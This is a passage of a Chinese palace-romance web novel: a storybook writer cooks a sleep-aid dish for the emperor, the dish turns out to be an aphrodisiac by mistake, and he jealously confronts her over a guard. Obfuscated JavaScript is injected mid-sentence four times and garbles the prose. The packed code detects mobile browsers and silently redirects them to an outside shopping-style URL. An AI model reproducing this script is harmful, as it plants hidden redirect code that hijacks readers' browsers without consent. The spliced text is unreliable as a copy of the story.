随着少年的身影消失于回廊中,不过多时便有一位灰袍男子匆匆而来,步履稳健,发间黑中带白。互相行过礼后,李太医道:“这位姑娘我曾在陛下的寝殿中见过,不过彼时只以为是萍水相逢,却没想到今日还能见面,不知该如何称呼姑娘?” “叫我乔禧就好。”她爽朗一笑,而后干净利落地进了正题,“当初李太医曾为陛下诊断过,想必已经很了解陛下的症状。此行前来叨扰正是为此,我想给陛下做些利于安眠的药膳,不知李太医可否帮忙推荐几味药材?” “推荐自然是可以。”李太医没怎么思考就答应下来,但很快又换上了一副犹豫为难的样子,“只是……我本以为陛下之症不过小事,竟然拖了这么久还未好转?” 失眠看似事小,但放任不管终成祸患,乔禧想起宁珩眼底那两道明显的乌青,叹了口气道:“陛下整日忧心国事,根本无暇顾及身体,光喝药也不是长久之计,所以我才想着,辅以药膳调理一二或许有用。” 李太医面上表情越发凝重,末了也只能摇摇头,道:“乔姑娘有心了,不过此症仅靠安眠的药材还万万不够,我这就去开方抓药,劳烦姑娘稍等片刻。” “有劳李太医。” 日光和暖,莫不静好,趁着等待的间隙,乔禧才发现不远处的假山上趴了只胖乎乎的橘猫,一动不动地应是睡眠正酣。 很快,李太医提着几个药包赶回,递来时又细致地嘱咐了用法和禁忌,乔禧都一一记下。临了,他像是不放心一般,又苦口婆心地说:“既然乔姑娘知晓内情,那我也不再拐弯抹角……” “陛下此症对男子来说其实再正常不过,只是我还是那句话,宜疏不宜堵,乔姑娘若能在陛下面前说上话,那便多劝劝陛下吧。” 乔禧倒不曾知晓,原来失眠之症在男子中竟称得上正常,不过李太医也没说错,比起单纯借用外物缓解,好好睡觉自然见效更快,于是她点点头,认真道:“多谢李太医指点,我明白了。” 得了药材,接下来便要学习药膳的做法,多亏有林泉这个人脉在,寻一位厨娘和一口锅也并未费工夫,只是林泉的笑意越发深了,看起来一副万事尽在掌握的样子,还真让人有些不爽。 但毕竟是第一次下厨房,最开始的学习不可谓不手忙脚乱,总算做出的成品她又总觉得还不够好,于是一连几天她都带着满身药味儿回长华殿,早晚挤着时间才把《蝴蝶戏》的最后几话完结了。 三日后的傍晚,乔禧才如获至宝地端着自己最满意的作品找到林泉,扭扭捏捏又难掩期待地说:“这是我花的心思,还得麻烦你帮我送到陛下的桌子上……你放心我自己尝过的绝对没毒!” 林泉抖了抖袖子,好整以暇地笑道:“怎么这下不说我妄言,也不说我犯低级错误了?” 乔禧不尴不尬地嘿嘿一笑,将陶锅又往林泉跟前递了递,道:“这锅端着挺重的,你就接着吧,事成之后必有重谢!” “谢就免了。”林泉从善如流地将锅接来,不知想到了什么,神色越发微妙,“我会如实告知陛下,这是你花了心思做的。” 入夜不久后,宁珩同往常一样回到长华殿。待有丫鬟端着菜品有序进入正殿后,乔禧便偷偷溜到了门口的柱子后面,想听听宁珩对她亲手做的药膳作何评价。 这原本不过是宁珩要求所致,但她已不自觉期待起来,心口处像揣了只活蹦乱跳的兔子,殷殷切切地等着宁珩吃到药膳时的反应。 布完菜的丫鬟们很快一个接一个地出来,只有林泉还留在殿里伺候,不等他先开口提,宁珩已经先一步发现了异常,问:“这锅里的是何物,气味怎么如此奇怪?” 乔禧下意识放轻了呼吸,只听见林泉恭敬答道:“禀陛下,这是乔姑娘学了好几天,亲自为陛下熬制的药膳,有安神助眠之功效。” 隔着一扇门,殿内的声音听着并不清晰,宁珩似乎是笑了一声,之后的话音里很明显带上几分愉悦:“确定是她亲手做的?” “乔姑娘特地托我请了位擅长汤食的厨娘,这几天又往小厨房跑得分外勤,这药膳定是乔姑娘呕心沥血、费了九牛二虎之力才熬制出来的。” 虽然不在现场,但乔禧还是被林泉这番添油加醋的话弄得有些不好意思了。毕竟只是一锅药膳,再怎么辛苦也费不了多大功夫。 她是这么想,可宁珩对这些却很是受用,他轻咳一声,藏不住笑意地道:“朕让她抄《清心经》,她却去做这些,如此想念朕,怕是抄一百遍也静不了心。” 说着,他竟带上了几分无可奈何的语气。林泉立马会意地道:“那奴才去告诉乔……” “不必了。” 宁珩很快制止了林泉的话,问:“她现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341187|199334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在在做什么?” 林泉略一沉吟,按照提前商量好的话术对他说:“乔姑娘抄了大半天的《清心经》,两只手酸痛无比,现在应是累得歇下了。” “如此……”宁珩的声音听上去有些遗憾,“你去把那罐特制的按摩精油找到,明日给她送去。之后她若是再去小厨房,你便亲自跟着,出了什么事及时告诉朕。” “奴才明白。” 话至此,殿内再无人说话,乔禧正打算悄悄离开,就听见宁珩的声音再度响起—— “对了,你记得告诉她,朕会把这锅药膳全部吃完,一口都不会剩下。” 乔禧脚步一顿,心里像是有什么东西化开,让她忍不住牵起唇角。 那锅药膳并不算少,一顿吃完还是有些勉强,她撇了撇嘴,在心里默默地回:我知道了,笨蛋。 趁着抄书的空闲,乔禧将《蝴蝶戏》最后几话又修了两遍,没什么问题后便托林泉找人送了出去。齐梦生的回信于三日后送到她手中,可光从厚度来看,乔禧就发现了一丝不对劲。 往日信封里都是薄薄的一两张,今日的却是鼓鼓囊囊,就连林泉来交给她时,都没忍住多问了两句。 她一个人在偏殿将信封打开,仔细检查过才发现,齐梦生的回信只有一张,其他全都是“阿禧”的读者们寄到闲欢书坊的。 “是我为阿禧花的钱还不够多吗?《温柔侍卫俏丫鬟》第一二三四五六话怎么还没出?” “以前几本都快被我翻烂了,新话本到底什么时候出!” “期待《蝴蝶戏》大结局,更期待阿禧的新书《温柔侍卫俏丫鬟》!如果阿禧还不开始写的话,我将会点燃整个闲欢书坊!!!” “……” 越是看下去,乔禧就越是心惊胆战。 自从她大火后,齐梦生便趁势出了个“预收”制度,也就是读者们可以先将钱交于闲欢书坊,日后待这篇开始更新后,第一时间便会送到她们手中,同时,她们也拥有了给阿禧写信交流的待遇。 《温柔侍卫俏丫鬟》是她在《冷面王爷的甜心小娇妻》结局后放的预告,并且说明了会在今年内完结。只是她也没想到,读者们这么早便开始催了。 既然将这些信寄来,齐梦生的意思已经不言而喻,如此,乔禧也只得紧锣密鼓地开始构思了。 因着李太医叮嘱过此药不能求急,乔禧便定下每隔五日为宁珩送一次药膳。只是这次还不等她做好,林泉已先一步开口: “乔姑娘如此尽心尽力,是该到陛下面前领赏才是,这次不如就乔姑娘亲自送去吧。” 自己去送总有种上赶着邀功请赏的感觉,乔禧起初并不愿意,只是宁珩这次说什么也不帮她,白昙也跟提前约好了似的不松口,故而这趟她只能亲自去跑了。 薄暮冥冥,夜风轻而温柔,乔禧端着陶锅,跟在几位送菜的丫鬟最后面走进了正殿。 9. 活生生的素材 两人满打满算已有好几日没打过照面,宁珩此时着一身墨色长袍,眉眼如画,鼻若秀峰,不过是个懒懒地斜靠着椅背休憩的姿态,却也无端赏心悦目至极。 乔禧终究还是没忍住多看了几眼,不光是为了自己的欣赏欲,同时也觉得《温柔侍卫俏丫鬟》中男主的形象似乎有了参考。 常言道爱美之心人皆有之,若是将宁珩的形象搬进话本中,根本不愁吸引不到那群姑娘小姐们,但要如何将这份收入眼底的惊艳化作文字,这同样是个问题。 乔禧写过那么多才子佳人的话本,却从来没有像现在这般词穷过。 不过半晌,宁珩突然睁开眼,正好将她这个停在桌边不肯走的人捉个正着。 “朕就这么好看?” 宁珩莞尔勾唇,挑着眉骄矜地道。 反正这又不是第一次偷看被抓包,乔禧这下一回生二回熟,坦然又大方地应:“没错,陛下就是很好看,比草民见过的许多男子都要好看。” 乔禧夸得很是真心实意,宁珩听过后脸色却陡然垮了下来,目光锐利地盯着她,问:“许多男子?你见过除朕之外的很多男子么?” “啊?”乔禧一下子没反应过来,愣了愣才又说,“哦……那倒没有。” 她平日里生活简单,很少交际,这些年见过最多次的男人就是齐老爷子,只不过齐梦生也年事已高,真要拿来和宁珩比样貌的话,未免有些不尊老了。 宁珩这才缓和了些许,收回视线将筷子拿起来,状似漫不经心地道:“既然好看,那你就坐下慢慢看,顺便把饭也在这吃了吧。” 乔禧一怔,盯着宁珩看了会,才勉强理解了这句话的意思。 宁珩见她没有动作,又问:“怎么,不愿意?” “不不不,这是草民的荣幸。” 乔禧连忙在宁珩对面坐下,桌上的菜色她这几日大多见过也吃过,只是这次面前坐了位秀色可餐的美男子,还是当今圣上,如此,今天的晚膳便格外不同了起来。 隔着热汤里升起的氤氲雾气,宁珩的脸有些模糊,但雾里看花却又是另一番乐趣,乔禧搓了搓手,接着说:“只是没想到,我有一天也能和陛下坐在一起吃饭。” 宁珩给了她个揶揄的眼神,边夹菜边道:“瞧你没出息的样子,朕就住在你旁边,想与朕用膳过来便是,朕又不会赶你走。” “陛下说得是。”面前不知何时已经备上了一副碗筷,乔禧顺势拿起,想了想又小声补充,“但陛下日理万机,而且这也于理不合嘛。” 当朝天子和民间话本先生,这两个身份坐在一起吃饭本就离奇,乔禧只是实话实说,却没想到宁珩听到后却道:“你这是在埋怨朕?” 乔禧停下将菜送入口中的动作,疑惑道:“嗯?” “朕承认,这些日子忙于祭典事宜,的确忽略了你,你埋怨得对。”宁珩看着她,神色中竟有几分认真,“祭典后暑气渐重,届时朕带你去清凉山庄玩,那里的好山好水,朕都陪你看个够。” 说着,宁珩眼珠微转,表情又变得微妙起来,道:“至于规矩,能和朕同桌而食的女子无非是朕的母后、姐姐和妃子,你也不是全无机会。” 太后、长公主和皇后……好像哪一个都是乔禧不敢肖想的位置。 她不尴不尬地赔笑了两声,然后便装作认真吃饭的样子不再说话了。 饭后宁珩还有公务要处理,乔禧没在正殿多留,正好她也要回去构思一下新话本,今日一见宁珩,倒为她的男主形象提供了不少好素材。 既然是话本男主,那他的身份就不能太低微,否则读者们定然看不入眼。乔禧思来想去半天,觉得朔风的职位就很是合适。 能在御前贴近保护皇帝安危,其地位可见一斑,如此,正好能和女主的懵懂小丫鬟身份形成极大反差,当今市面上最火的那些话本都莫不如此。 更何况今时不同往日,过去她要写宫廷中人,需要翻阅大量书册古籍以了解人物背景、生活和职务,但现在,活生生的真人就摆在自己面前,素材一问就是一大把,她何愁写不出来? 秉着这样的念头,她第二日便带了些果脯点心,直奔朔风所在的御书房而去。 骄阳当空,天朗气清,春已深,花已盛。香气盈满了鼻腔,脚下轻快生风,只是还未等乔禧靠近御书房,便被两个表情严肃的侍卫拦住了。 “御前重地,来者何人?” 长剑出鞘带起阵阵嗡鸣,银白的寒光刺眼,吓得乔禧忍不住一个哆嗦。她稳了稳心神,好声好气地道:“我是来找朔风朔大人的,两位官爷,可否帮忙通传一下?” 两侍卫神色稍缓,但依然没有把剑放下,其中一个又说:“朔大人日理万机,岂是你想见就能见的?如若没有要事,就尽快离开。” 这下乔禧说不出话来了,毕竟她此行前来的确不是聊正事的,但如果在这里都见不到朔风的话,她还能去哪找素材呢? 进退两难之际,前方忽然有男声响起,音色清朗,语气却冰冷倨傲—— “发生了何事?” 不必去看来人,远近侍卫皆齐刷刷单膝跪下,抱拳道:“参见陛下!” 乔禧心道不妙,连忙跟着下跪叩首,她此行瞒着林泉出来,为的就是避免被宁珩知道,这下可好,却是直接遇到本人了。 她垂着头看不到状况,只听得脚步声渐近,与此同时,有一侍卫恭敬答道:“回禀陛下,此女子突然出现于御书房外,偷偷摸摸举止异常,属下正在盘问。” 就算侍卫认不出她,宁珩光从身形打扮也该认出来了。但是这里外人太多,她不好贸然同宁珩攀熟,只能静静等着他把自己领回去。 头顶有阴影覆下,将她的身躯完完全全地笼罩了进去,黄面白底的布靴徐徐靠近,末了在面前几寸处停下。 “哦?”尾音轻扬,宁珩的语气散漫轻佻如常,“来干什么的?” 乔禧还在犹豫着要怎么说,方才那侍卫已经飞快地为她作了回答:“禀陛下,她说是来找朔……” “我是来找陛下的!” 强烈的求生欲迫使乔禧迅速抬头,抢在侍卫说完前把话接了过去,只是说完后她才意识到此举有多失礼,于是连忙叩了个头,气势弱弱地补充道:“禀陛下……草民是来求见你的。” “胡言乱语!”那侍卫是个较 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341188|199334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的,闻言立马反驳,“陛下,此女子不仅行踪诡异,还谎话连篇,方才她明明说是来找朔大人的,现在又说求见陛下,这般前后冲突,恐怕来者不善。” 乔禧无奈地闭了闭眼,怎么也不敢相信竟然闹成了这副样子。 现在人证确凿,她的谎言被当场拆穿,再无辩驳的余地,只能等宁珩作下决断。 不知静默了多久,男人才终于又开口,声音威严,却隐约含笑:“如此说来,此女子的确可疑,便随朕去御书房,朕要亲自审问。” 乔禧如蒙大赦,谢过后就连忙起身,徒留两名侍卫面面相觑,不知如何是好。 末了,他们还是选择遵从陛下的命令,于是准备上前来押住乔禧,但刚走出一步,又被宁珩一记锋利的眼刀逼退回了原地。 御书房内一片安静,唯有靴子踩过地毯的轻微声响,宁珩随意地抬手挥了挥,云禄和另一位身着青色官服的大人便无声地退了出去。 那位大人看着有些面生,不过方才坐的位置实在熟悉,如此,乔禧认出他应是起居郎方大人不错。 “说吧,来干什么的?” 慌神的片刻功夫,宁珩已于主位后坐下,虽是审问,姿态却放松闲散,语气也并无压迫之意。 不过乔禧才不会因此放松警惕,她很有眼力见儿地答:“草民就是来找陛下的,这些都是近日御膳房新出的小食,草民担心陛下忙于政务无暇顾及,便特意拿来给陛下尝尝。” 说着,她提着食盒走上前去,将果脯糕点都一一端出,放在桌案上。宁珩见状并未阻拦,只是默默地将一小摞奏折推远了些。 两人的距离因此被拉近好大一截,宁珩并不看桌面上琳琅满目的盘碟,只不紧不慢地睨了眼乔禧,又问:“可朕的手下怎么说……你是来找朔风的?” “这个嘛……”乔禧挠了挠头,脑子转得比写话本时还要快,灵光一闪后,她强装镇定地道,“这是因为……草民第一次自己来御书房找陛下,担心惊扰圣驾,就只能先找朔大人,请他带我来见陛下。” 到底还是心虚,她只能低下头逃避对方的视线,但宁珩似乎会错了意,将她垂在身侧的一只手牵起,安慰地捏了捏,道:“无需委屈,朕已明白,日后你想来御书房来便是,不会再有人拦着你。” 乔禧眼睛一亮,欣然谢恩,道:“多谢陛下。” 不用被侍卫拦,她去找朔风的话就更方便了! “高兴成这样,尾巴都要翘起来了。”宁珩眉眼舒展,拉着她的手又把人往身前带了带,目光落在满桌精致又小巧的食物上,“朕想着让林泉先送去给你尝尝鲜,你倒是给朕送来了,既然如此,那就一起尝尝。” 一块芳香四溢的糕点被递到了乔禧面前,捏住另一端的指头圆润泛粉,和方糕的素白搭配起来很是好看。 乔禧心头浮现几分愧疚,下意识就着这个姿势低头咬下一小块,入口软糯,甜而不腻,她却吃得心事重重。 今早林泉将这些东西送来时什么也没说,乔禧便以为这只是普通的糕点,现在她才知道这是宁珩吩咐人专门送来的。想想她之前还打算拿这些糕点借花献佛,真是狼心狗肺。 10. 你就这么喜欢朔风? 欸?∑( 口 于是乔禧痛定思痛,决定用自己做的糕点去跟朔风套近乎。 有了学做药膳的经验,她如今下厨房也算轻车熟路,再加上厨娘教得很是尽心,最终做出的糕点虽然卖相差点意思,但味道能称得上可口,只是每次对上林泉的眼神她都有点心虚罢了。 当初给陛下做吃的她心虚,如今不给陛下做了她也心虚,这日子过得……还真是让人有苦难言。 不过这次她再度拎着食盒来到御书房附近时,已然没有侍卫敢拦她了。 经过时正好碰见朔风,男人看到她后就立马走上前,笑着抱拳道:“乔姑娘,又来看望陛下了。” “啊……不是不是。”乔禧连忙摆手,把小心地食盒递了过去,“朔大人,其实我这次是来找你的。” 朔风闻言一怔,像是听到了什么不可思议的东西,眼睛顿时瞪大,瞠目结舌地重复道:“找我?” 乔禧肯定地点点头:“嗯,此番前来确有要事相求,这些糕点都是我亲手做的,你且收……” “慢着!” 朔风立马制止了她的动作,先是贼眉鼠眼地向周围扫视了好几圈,确定无误后才清清嗓子,压低了声音对乔禧说:“乔姑娘,你先去不远处的栖鹤亭等我,我稍后便来。” 说完这句,他就佯装着无事走开,徒留乔禧在原地摸不着头脑。 怎么收个东西还神神秘秘的,莫非就这几碟糕点也算贿赂官员? 怀着满腹狐疑,乔禧还是去了栖鹤亭等待,春深临夏,塘中绿荷交映,风吹时便是一片层层翻涌的碧浪。 没过多久,朔风踏上石阶缓缓而来。男人披一身浅金软甲,发冠高束,腰侧佩剑,可神色却是说不出的凝重。 “辛苦乔姑娘多等,有何吩咐直说便是,糕点就不必了。” 乔禧觉得有些奇怪,问:“朔大人为何如此慌张,可是发生了什么事?” “这……”朔风犹豫着,眉间愁云不散,半晌后只叹了口气,“上次你来御书房找陛下时,曾对我的手下说要找我,那之后陛下曾单独叫我谈话,吩咐我不可离你太近。” 乔禧从未听过这回事,闻言很是惊诧,道:“竟有此事?” 朔风有些沉重地点了点头,说:“我不愿欺瞒乔姑娘,只是陛下有令我不得不从,以后还是小心为上吧。” 乔禧咂咂嘴,心想这话说得好像他们之间真有什么似的。 念及正事,她很快回过神来,道:“既如此,那就速战速决,我也不拐弯抹角了。” “因为一些私事,我想简单了解一下御前侍卫平日里都做些什么,你可否挑拣些无关紧要的小事同我说说?” 朔风显然并不明白她的用意,但如果只是说些不涉及内政军务的琐碎,他倒是也没有非拒绝不可的理由。思忖片刻后,他道:“当然可以,乔姑娘问便是。” 说着,两人在最近的美人靠上随意就坐,乔禧将随身携带的小册子翻出来,对着之前记下的要点,问道:“朔大人身为御前大臣,在宫中主要负责哪些职务呢?” 简单思索后,朔风爽快地道:“统领御林军,定期在皇宫上下巡逻,以及最重要的是保护陛下安全,若是遇到刺客之类的突发事件……” 一边听朔风说着,乔禧一边用笔墨飞快记下。朔风平时看着话不多,但真说起事来也称得上面面俱到,偶尔遇到提问也能耐心解答,的确不失为一个好的人肉素材包。 可惜的是经过宁珩一番告诫,乔禧日后恐怕很难再来找他问这些,如此,她便把握着这次机会,将所有能想到的问题统统问个够。 不知不觉间天色渐晚,树影疏斜,朔风说得嘴皮发干,让乔禧看着很是歉疚。可她手里现在只有一盒凉透的糕点,送出去也是被百般推拒,无奈下乔禧只好作罢。 她踏着晚阳余晖回到长华殿,进门时却发觉院内的气氛莫名诡异。 走到偏殿门口时,白昙正等在那里,一见到乔禧就迫不及待走上前去,欲言又止地道:“陛下方才……来找你了。” 乔禧赫然一惊,忙问:“陛下今日回来这么早,而且他找我做什么?” “具体的奴婢也不清楚。”白昙一脸为难,皱着眉道,“但是陛下出来的时候脸色很差,手里好像还捏着什么。” 乔禧不由得警惕起来,连忙往偏殿内奔去,她心头隐约有了不好的预感,而翻找过书桌后,那些念头就变成了明晃晃的现实—— 这几天在收集整理素材的同时,她顺便把之前构思好的情节先写了出来,其中就包含大量的亲热戏码,为避免被找到她还特意将写完的夹藏在《清心经》之中,可那摞书正歪斜着,应是被人不留神撞翻了。 既如此,宁珩拿走的八成就是她还未写完的新话本。 她呆呆地站在书桌前,脑子里几乎乱成了一团浆糊。正这时门口忽然有人影出现,林泉双手放于身前,拂尘搭在一边胳膊上,声音平静得有如最终宣判:“乔姑娘,陛下请你过去。” 乔禧还想抢救一下,却是嗫嚅着嘴唇说出个“我”字就被打断了。 林泉站在原地,皮笑肉不笑地又说:“陛下说只给乔姑娘一刻钟的时间,若是没到,陛下便要亲自来接你了。” 红口白牙,吐出的话却叫人无端生寒,乔禧费力地咽了咽口水,讷讷道:“那……那走吧。” 转过回廊,便见正殿大门紧闭,林泉止步于近前,恭敬地说:“陛下吩咐过,乔姑娘直接推门进去便是。” 窗纸滤出轻薄的光影,殿内一片烛火通明,却唯独难以窥见宁珩此刻状况。乔禧揣着狂跳不止的心脏,轻轻将门推开走了进去。 饭菜香气馥郁,光闻过便让人垂涎三尺,御膳向来是如此,乔禧却不敢再多想,垂着头麻利地跪了下去,叩拜的同时道:“参见陛下。” 入目是纹样精致的朱红地毯,明烛在其上闪烁跳跃,话音落入满室缄默之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341189|199334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中,像是投入深潭后再无回响的石子。 刚进门时,乔禧就已经注意到宁珩正坐在饭桌前,可她现在不敢抬头去看他的表情,只能任凭令人窒息的沉默蔓延开来,几乎要将她整个人都吞没。 无形的威压笼罩在头顶,乔禧只感觉呼吸都要困难起来。她心知不能一直这样下去,便硬着头皮主动开口解释:“陛下,今日我去找……” “你就那么喜欢朔风?” 乔禧一怔,下意识抬头:“啊?” 宁珩面前摆着白玉碗碟,桌上的饭菜却丝毫没有被动过的痕迹,热气早已散尽,汤上凝着一层薄薄的白色,无论是外表还是内里都已凉透。 而宁珩只是垂眸看着,手里捏着筷子,却迟迟没有落下的意思,神情淡漠得像在陈述事实:“为了见到朔风,你不惜哄骗林泉,被发现后不得不与朕虚与委蛇。那天倒是朕出现得不巧,正好坏了你的好事……” 虽然描述得有些夸张,但乔禧的确无法否认,不过宁珩的语气怎么听怎么让人觉得意思不对,她连忙想辩驳,对方却没给她说话的余地—— “芝兰玉树,风光霁月,你说朔风是你的天上星、梦中人,是无数女子的可望而不可即……说到朕时,便是阴暗残暴杀人如麻,是全京城唯恐避之不及的瘟神。” 说着,宁珩讥诮一笑,看向她的眸子里露出浓浓嘲讽:“原来待在朕身边让你这么煎熬,还真是委屈你了。” 乔禧心头震颤,很快想起这是在她新话本刚写出来的情节里,对侍卫男主的描述。为了凸显出男主的温柔高洁,她将话本中的皇帝角色写成了残暴不仁的昏君,可这东西本就是虚构成分居多,谁能想到宁珩会把他自己和朔风带入其中? 就在愣神的功夫,宁珩已经走近身前,她刚要仰头去看,下巴却被一股不容拒绝的力道猛地抬起。 白玉筷触感清润,入手先凉后温,乔禧被冰得浑身一颤,视线交错的瞬间,却发觉更让人心寒的是宁珩的眼神。 疏离、漠然,一如凝结的幽海,透出无形威严,可当她触及深处的波澜时,却又无端感到忧伤和悲绝。 身为帝王,他矜骄自傲,不愿把话说得太明白,以免丢了面子。可乔禧也并非全然无感,住进长华殿这么多天,从言行、从细枝末节的桩桩件件……有些东西,或许她早已明白。 他开口,气息带着笑,像是在嘲讽自己的多余,道:“你喜欢朔风,却又借药膳之名义给朕吃滋补壮阳的药物,乔禧,你究竟想做什么,朕竟也看不明白了。” 还没等弄清现状,却是更令人难以置信的真相当头砸下,乔禧只觉得脑子里嗡的一声,下意识道:“什么壮阳的药物,那不是助眠药么?” “事已至此,你还不肯承认。”宁珩拂袖一挥,任凭她脱力地摔倒在地,字句间带着不容置疑的笃定,“既是助眠药,朕食用后为何会气血浮躁?李太医又为何说,这些药乃是你亲自向他所求?” 11. 宜疏不宜堵 乔禧顿时哑然,这才看懂当时李太医脸上担忧的神色,还有那句“宜疏不宜堵”是为何事。 她只当是李太医已知晓,便没将失眠一事明说,而李太医则是以为宁珩的梦/遗之症还未好全,便自作主张换了个思路,以行“疏通”之法。 虽不致命,但宁珩毕竟是个血气方刚的男儿,哪能受得住这样的刺激? 要解释的东西太多,乔禧一时竟不知该从何说起,但这片刻的静默却在宁珩眼中有了别的深意。 “罢了。”他单膝微弯,正好在乔禧面前罩下一片小小的阴影,背光的姿态让人看不清他的表情,只听得话音平静异常,“你既然那么喜欢朔风,那朕就为你赐婚,可好?” “不好。” 乔禧心知不能再这样下去了,抬起头来直勾勾地盯着宁珩,决绝地道:“陛下,你说的可都是真心话?” 宁珩眸光微闪,却是稍稍侧头避开了她的视线,乔禧并没有就此放过的意思,继续追问:“你就真的愿意眼睁睁看着我嫁给朔风?” 男人赫然转眸,皱眉怒道:“你还真想嫁给朔风?” 乔禧与他对视,目光灼灼,不避不让,反问:“我何时说过我想嫁给朔风了?” “你……” 宁珩神色一滞,似乎终于意识到了这个问题,趁着他无言以对的间隙,乔禧接着道:“如陛下所见,我既没说过喜欢朔风,更没提过想嫁给他,陛下一句话不说就这般冤枉我,我找谁喊冤去啊?” 或许是她的表情看上去太过坦荡,倒真让宁珩出现几分迟疑,他面上凝固了一瞬,又飞快移开视线,语气生硬地问:“那你为何要瞒着朕去见他,还在话本里那般夸他?” 提及此,乔禧知道的确是自己做得不对,于是软下嗓子诚恳地道:“陛下消消气,这件事是我不对,但是说来也话长……” “那你长话短说。” 宁珩以为她要含糊其辞,便干脆利落地将话打断,目光锐利地盯着她,一副不清楚事情始末既不罢休的模样。 乔禧默了片刻,还是将其中因果原原本本地道来了,包括读者来信、话本角色以及那天闹出的乌龙。话及结尾,她还一本正经地解释:“而且我的话本里大多数都是胡编乱造的,那个皇帝除了身份之外,跟你可是一点都不像。” 为了提高可信度,她煞有介事地说:“他长得没你好看,大腹便便风流成性,还小心眼脾气坏。” 宁珩漫不经心地听着,闻言斜睨了她一眼,眉头微展,冷哼道:“朕也算不得什么心胸宽广的好人。” 乔禧见这套美言攻势有效果,于是添油加醋夸得更起劲,顺便还把药膳的事解释清楚了。宁珩本就没有责备的意思,因而并未在此多说,只是神色怏怏,似真似假地叹息道:“你是妙语连珠的话本先生,所言是真心还是假意,朕也分辨不清……” “只可惜朕年纪轻轻,便要遭你蒙骗,传出去可真要遭人笑话了。” 说着,宁珩悠悠然起身,负着手自顾自地往内间踱,背影看上去还真有几分孤单落寞。乔禧连忙追了上去,讨好地说:“陛下此言差矣,草民刚才所说句句属实,半点不敢哄骗陛下。” 男人在榻边安然坐下,歪着头抬眼看她,颇为骄矜地道:“那朕问你几个问题,你可愿如实作答?” 乔禧捏着手站在一旁,赶紧点头如捣蒜:“陛下有什么问题尽管问,草民一定知无不言言无不尽。” 宁珩道:“那你老实交代,你话本里那些东西都是怎么写出来的?” 没想到话题转得这么快,乔禧怔了怔,思忖过后认真地说:“就是……半真半假,连想带编吧。” 宁珩发出一声哼笑,了然道:“果然,难怪有那么多描述浮夸、言过其实的东西。” 乔禧被吊起了兴趣,也顾不上她才是“受审”的那个,忙问:“具体是哪里?你且说来听听。” 灯火摇曳,在宁珩脸上映出明暗不定的光影,他下巴微扬,像是想到什么有趣的东西似的,莞尔道:“别的不说,宫里侍卫和丫鬟私通乃是大罪,若你写的话本真在现实中发生,他们早该受笞刑,然后被赶出宫去了。” “这个嘛……”乔禧哪里懂得宫规森严,当时只觉得这两个身份有写头便定下来了,她脑中灵光一闪,不退反进,“抛开规矩不谈,这两个身份总是比新帝和话本先生来得可行些吧。” 此话一出,乔禧却后知后觉地愣了愣。 还没等她细想,宁珩先轻笑一声唤回思绪,他神情愉悦,又问:“好吧,那便抛开规矩,再说说你别的问题。” 话音落,乔禧被没收的半成品不知被宁珩从哪儿拿了出来,他翻到某页,不紧不慢地读了起来:“他常年习武,练就了一身魁梧的肌肉,那物更是生得惊为天人,此刻雄赳赳气昂昂地勃发着,看上去有瞿莺莺小臂那般……” “快别念了!” 乔禧惊叫着,连忙要去夺他手里的册子,但宁珩似是早有防备,手臂一收正好错开,另一只手还能抽出空闲,将飞扑过来的人迅速锁在了身前。 “陛下……你别念了。”乔禧闪躲不及撞进温热的胸膛,鸵鸟似的将脸埋到了他颈窝,又羞愤又无奈地恳求着。 当初在别人面前念自己的话本,已经让乔禧足够羞耻,而被别人当面念自己的话本则是加倍的羞耻,更何况还是那样的情节。 “好,朕不念了就是。”宁珩语气含笑,胸腔处的心跳规律而有力,他将册子丢开,转而用那只手轻拍乔禧的背,“不过朕见你每次写都用的这种浮夸形容,你应是未曾亲眼见过的。” 并非询问,宁珩说得十分笃定。乔禧闻言更加羞燥,闷声道:“我都是在别人的话本里学来的,这种东西,哪是我想看见就能看见的?” 暖黄色勾出一室安宁,呼吸却在皮肤上激起轻微的战栗,衣料阻挡不了相贴处升腾的体温,乔禧发觉扣在腰身处的手似乎收紧了些,男人开口,嗓音里有不同寻常的哑意—— 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341190|199334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你若是想看,朕给你看,可好?” 